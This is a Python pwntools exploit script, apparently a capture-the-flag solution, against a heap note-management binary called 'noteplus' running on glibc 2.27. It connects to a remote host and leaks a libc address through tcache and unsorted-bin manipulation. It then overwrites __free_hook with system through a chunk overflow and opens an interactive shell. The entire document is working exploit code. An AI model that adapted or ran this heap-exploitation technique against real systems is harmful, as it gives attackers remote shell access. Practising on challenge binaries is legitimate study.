from pwn import *

LOCAL = False
binfile='./noteplus'
libcfile='./libc-2.27.so'

e=ELF(binfile)

context.log_level='debug'
context.arch=e.arch
if context.arch=='i386':
    x86=True
else:
    x86=False

if libcfile:
    	libc=ELF(libcfile)
else:
	    if x86:
	        libc=ELF('/lib/i386-linux-gnu/libc.so.6')
	    else:
	        libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if LOCAL:
    c = process(binfile)
else:
    c = remote('223.112.5.141','64307')


def add(idx,size):
  c.sendlineafter(b'Your choice: ', b'1')
  c.sendlineafter(b'Index: ',str(idx).encode())
  c.sendlineafter(b'Size: ',str(size).encode())

def rm(idx):
  c.sendlineafter(b'Your choice: ',b'2')
  c.sendlineafter(b'Index: ',str(idx).encode())

def edit(idx,content):
  c.sendlineafter(b'Your choice: ', b'3')
  c.sendlineafter(b'Index: ',str(idx).encode())
  c.sendafter(b'Content: ',content)

def view(idx):
  c.sendlineafter(b'Your choice: ',b'4')
  c.sendlineafter(b'Index: ',str(idx).encode())
  c.recvuntil(b'Content: ')

for i in range(8):
  add(i,0x88)

add(8,0x4)
add(9,0x88)
add(10,0x88)

for i in range(7):
  rm(6-i)
rm(7)

for i in range(8):
  add(i,0x88)

view(7)
data = c.recv(6)
ma_a=int(u64(data.ljust(8,b'\x00')))
ma_o=0x3ebca0

# log.success('ma_a: '+hex(ma_a))

lib_b=ma_a-ma_o
log.success('lib_b: '+hex(lib_b))
fh_a=lib_b+libc.symbols['__free_hook']
log.success('fh_a: '+hex(fh_a))
sys_a=lib_b+libc.symbols['system']

rm(9)
edit(8,cyclic(0x8)+p64(0xb0)+p64(0x90)+p64(fh_a-8)+cyclic(0x88)+'/bin/sh\x00'.encode()+'\n'.encode())
add(11,0x88)
add(12,0x88)
edit(12,p64(sys_a)+'\n'.encode())
rm(10)

c.interactive()